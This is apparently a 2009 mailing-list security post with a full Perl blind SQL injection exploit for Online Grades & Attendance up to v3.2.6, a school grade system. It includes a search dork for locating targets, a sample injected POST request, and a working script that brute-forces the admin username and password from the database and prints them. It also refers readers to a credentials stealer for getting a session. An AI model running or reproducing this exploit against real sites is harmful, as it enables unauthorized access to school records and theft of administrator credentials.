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(Post Form --> 'cc') Blind (SQLi) EXPLOIT --Online Grades & Attendance <= v-3.2.6-->
From: y3nh4ck3r () gmail com
Date: 2 Jun 2009 14:03:09 -0000

#!/usr/bin/perl
#
#-----------------------------------------------------------------------------------
#(Post Form --> 'cc') Blind (SQLi) EXPLOIT --Online Grades & Attendance v-3.2.6-->
#-----------------------------------------------------------------------------------
#
#CMS INFORMATION:
#
#-->WEB: http://www.onlinegrades.org/
#-->DOWNLOAD: http://www.onlinegrades.org/
#-->DEMO: http://www.onlinegrades.org/demo_info
#-->CATEGORY: CMS / Education
#-->DESCRIPTION: Online Grades is based on the project, Basmati. It has all of the same
#               features plus many new features. OG is a web based grade...
#-->RELEASED: 2009-02-05
#
#CMS VULNERABILITY:
#
#-->TESTED ON: firefox 3
#-->DORK: "Powered by Online Grades"
#-->CATEGORY: BLIND SQL INJECTION EXPLOIT
#-->AFFECT VERSION: <= 3.2.6
#-->Discovered Bug date: 2009-05-21
#-->Reported Bug date: 2009-05-21
#-->Fixed bug date: Not fixed
#-->Info patch: Not fixed
#-->Author: YEnH4ckEr
#-->mail: y3nh4ck3r[at]gmail[dot]com
#-->WEB/BLOG: N/A
#-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.
#-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)
#
#
#------------
#CONDITIONS:
#------------
#
#gpc_magic_quotes=OFF
#
#-------
#NEED:
#-------
#
#Valid registered parent (PHPSESSID) (Use credentials stealer --> 
http://www.securityfocus.com/archive/1/503944/30/0/threaded)
#
#Used this post info --> TchrUserID=faculty%40onlinegrades.org&sid=4122&schoolid=DEMO&cc=LART101
#
#---------------------------------------
#PROOF OF CONCEPT (SQL INJECTION):
#---------------------------------------
#
#POST http://www.onlinegrades.org/demo/parents/parents.php?func=showteachermemo HTTP/1.1
#Host: www.onlinegrades.org
#User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 Paros/3.2.13
#Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
#Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
#Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
#Keep-Alive: 300
#Proxy-Connection: keep-alive
#Referer: http://www.onlinegrades.org/demo/parents/parents.php?func=showreportcard
#Cookie: SESS82c464aff4a6373c38ca1d81df10661e=li1lag4844furho010a5ok8uq7; PHPSESSID=2ofepluotebqj7qu009qskaeg7
#Content-Type: application/x-www-form-urlencoded
#Content-length: 72
#TchrUserID=faculty%40onlinegrades.org&sid=4122&schoolid=DEMO&cc=LART101'+AND+1=1# --> TRUE
#TchrUserID=faculty%40onlinegrades.org&sid=4122&schoolid=DEMO&cc=LART101'+AND+1=0# --> FALSE
#
#######################################################################
#######################################################################
##*******************************************************************##
##  SPECIAL GREETZ TO: Str0ke, JosS, Ulises2k, J. McCray, Evil1 ...  ##
##*******************************************************************##
##-------------------------------------------------------------------##
##*******************************************************************##
##              GREETZ TO: SPANISH H4ck3Rs community!                ##
##*******************************************************************##
#######################################################################
#######################################################################
#
#
use LWP::UserAgent;
use HTTP::Request;
#Subroutines
sub lw
{
        my $SO = $^O;
        my $linux = "";
        if (index(lc($SO),"win")!=-1){
                $linux="0";
        }else{
                $linux="1";
        }               
        if($linux){
                system("clear");
        }
        else{
                system("cls");
                system ("title Online Grades Attendance v-3.2.6 Blind SQL Injection Exploit");
                system ("color 04");
        }
}
sub request {
        my $userag = LWP::UserAgent->new;
        $userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
        if($_[2] eq "post"){
                $request = HTTP::Request -> new(POST => $_[0]);
                $request->referer($_[0]);
                $request->header(cookie => "PHPSESSID=".$_[3]);
                $request->content_type('application/x-www-form-urlencoded');
                $request->content($_[1]);
        }else{
                $request = HTTP::Request -> new(GET => $_[0]);
        }
        my $outcode= $userag->request($request)->as_string;
        #print $outcode; #--> Active this line for debugger mode
        return $outcode;
}
sub error {
print "\t------------------------------------------------------------\n";
        print "\tWeb isn't vulnerable!\n\n";
        print "\t--->Maybe:\n\n";
        print "\t\t1.-Patched.\n";
        print "\t\t2.-Bad path or host.\n";
        print "\t\t3.-Bad PHPSESSID value.\n";
        print "\t\t4.-Bad POST value.\n";
        print "\t\tEXPLOIT FAILED!\n";
        print "\t------------------------------------------------------------\n";
}
sub errormagicquotes {
print "\t------------------------------------------------------------\n";
        print "\tWeb isn't vulnerable!\n\n";
        print "\t\tRaison--> Magic quotes ON.\n";
        print "\t\tEXPLOIT FAILED!\n";
        print "\t------------------------------------------------------------\n";
}
sub testedblindsql {
        print "\t-----------------------------------------------------------------\n";
        print "\tWEB MAYBE BE VULNERABLE!\n\n";
        print "\tTested Blind SQL Injection.\n";                
        print "\tStarting exploit...\n"; 
        print "\t-----------------------------------------------------------------\n\n";
}

sub helper {
        print "\n\t[!!!] Online Grades & Attendance <= v-3.2.6 Blind SQLi Exploit\n";
        print "\t[!!!] USAGE MODE: [!!!]\n";
        print "\t[!!!] perl $0 [HOST] [PATH] [PHPSESSID] [POST]\n";
        print "\t[!!!] [HOST]: Web.\n";
        print "\t[!!!] [PATH]: Home Path.\n";
        print "\t[!!!] [PHPSESSID]: Set PHPSESSID value\n";
        print "\t[!!!] [POST]: Set POST value\n";
        print "\t[!!!] Example: perl $0 'www.onlinegrades.org' 'demo' 'ej67dt4jdjd57fdv6fkvqquh05' 
'TchrUserID=faculty%40onlinegrades.org&sid=4122&schoolid=DEMO&cc=LART101' \n";
}
sub brute_length{
#Column length
$exit=0;
$i=0;
while($exit==0){
        my $blindsql=$_[2]."'+AND+(SELECT+length(".$_[1].")+FROM+ADMINS+WHERE+id=1)=".$i++."#"; #injected code
        $output=&request($_[0],$blindsql,'post',$_[3]);
        if($output !~ (/Can't get Memo info for Course Code/)){
                $exit=1;
        }else{
                $exit=0;
        }
        #This is the max length of client_id and client_pw
        if($i>80){
        &error;
        exit(1);
        }
}
#Save column length
$length=$i-1;
print "\t<<<<<--------------------------------------------------------->>>>>\n";
print "\tLength catched!\n";
print "\tLength ".$_[1]." --> ".$length."\n";
print "\tWait several minutes...\n";
print "\t<<<<<--------------------------------------------------------->>>>>\n\n";
return $length;
}
sub exploiting {
#Bruteforcing values
$values="";
$k=1;
        $z=45;
        while(($k<=$_[1]) && ($z<=126)){
                my $blindsql=$_[3]."'+AND+ascii(substring((SELECT+".$_[2]."+FROM+ADMINS+WHERE+id=1),".$k.",1))=".$z."#";
                $output=&request($_[0],$blindsql,'post',$_[4]);
                if ($output !~ (/Can't get Memo info for Course Code/))
                {
                        $values=$values.chr($z);
                        $k++;
                        $z=45;
                }
#new char
        $z++; 
        }
return $values;
}
#Main
&lw;
print "\t#######################################################\n\n";
print "\t#######################################################\n\n";
print "\t##        Online Grades & Attendance <= v-3.2.6      ##\n\n";
print "\t##           Blind SQL Injection Exploit             ##\n\n"; 
print "\t##       ++Conditions: magic_quotes=OFF              ##\n\n";
print "\t##       ++Needed: Registered parend (PHPSESSID)     ##\n\n";
print "\t##               Author: Y3nh4ck3r                   ##\n\n";
print "\t##      Contact:y3nh4ck3r[at]gmail[dot]com           ##\n\n";
print "\t##            Proud to be Spanish!                   ##\n\n";
print "\t#######################################################\n\n";
print "\t#######################################################\n\n";
#Init variables
my $host=$ARGV[0];
my $path=$ARGV[1];
my $PHPSESSID=$ARGV[2];
my $POST=$ARGV[3];
$numArgs = $#ARGV + 1;
if($numArgs<=3) 
        {
                &helper;
                exit(1);        
        }       
#Build uri
my $finalhost="http://".$host."/".$path."/parents/parents.php?func=showteachermemo";;
my $phpinfo="http://".$host."/".$path."/include/phpinfo.php";;
#magic quotes on?
$output=&request($phpinfo,0,'get',0);
if($output=~(/\<tr\>\<td class\=\"e\">magic\_quotes\_gpc\<\/td\>\<td class\=\"v\"\>On\<\/td\>\<td 
class\=\"v\"\>On\<\/td\>\<\/tr\>/)){
        &errormagicquotes;
        exit(1);
}
$finalrequest = $finalhost;     
#Testing blind sql injection
$send_post1=$POST."'+AND+1=0#";
$output1=&request($finalrequest,$send_post1,'post',$PHPSESSID);
$send_post2=$POST."'+AND+1=1#";
$output2=&request($finalrequest,$send_post2,'post',$PHPSESSID);
if ($output1 eq $output2)
{    
        #Not injectable
        &error;
        exit(1); 
}else{ 
        #blind sql injection is available
        &testedblindsql;
}
#Bruteforcing length
$length_user=&brute_length($finalrequest,'client_id',$POST,$PHPSESSID); 
#Bruteforcing username...
$user=&exploiting($finalrequest,$length_user,'client_id',$POST,$PHPSESSID);
#Bruteforcing length
$length_pw=&brute_length($finalrequest,'client_pw',$POST,$PHPSESSID);   
#Bruteforcing password...
$pw=&exploiting($finalrequest,$length_pw,'client_pw',$POST,$PHPSESSID);
#final checking
if((!$user) || (!$pw)){
        &error;
        exit(1);
}
print "\n\t\t*************************************************\n";
print "\t\t*********  EXPLOIT EXECUTED SUCCESSFULLY ********\n";
print "\t\t*************************************************\n\n";
print "\t\tAdmin-username: ".$user."\n";
print "\t\tAdmin-password: ".$pw."\n\n";
print "\n\t\t<<----------------------FINISH!-------------------->>\n\n";
print "\t\t<<---------------Thanks to: y3hn4ck3r-------------->>\n\n";
print "\t\t<<------------------------EOF---------------------->>\n\n";
exit(1);
#Ok...all job done


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  • (Post Form --> 'cc') Blind (SQLi) EXPLOIT --Online Grades & Attendance <= v-3.2.6--> y3nh4ck3r (Jun 02)
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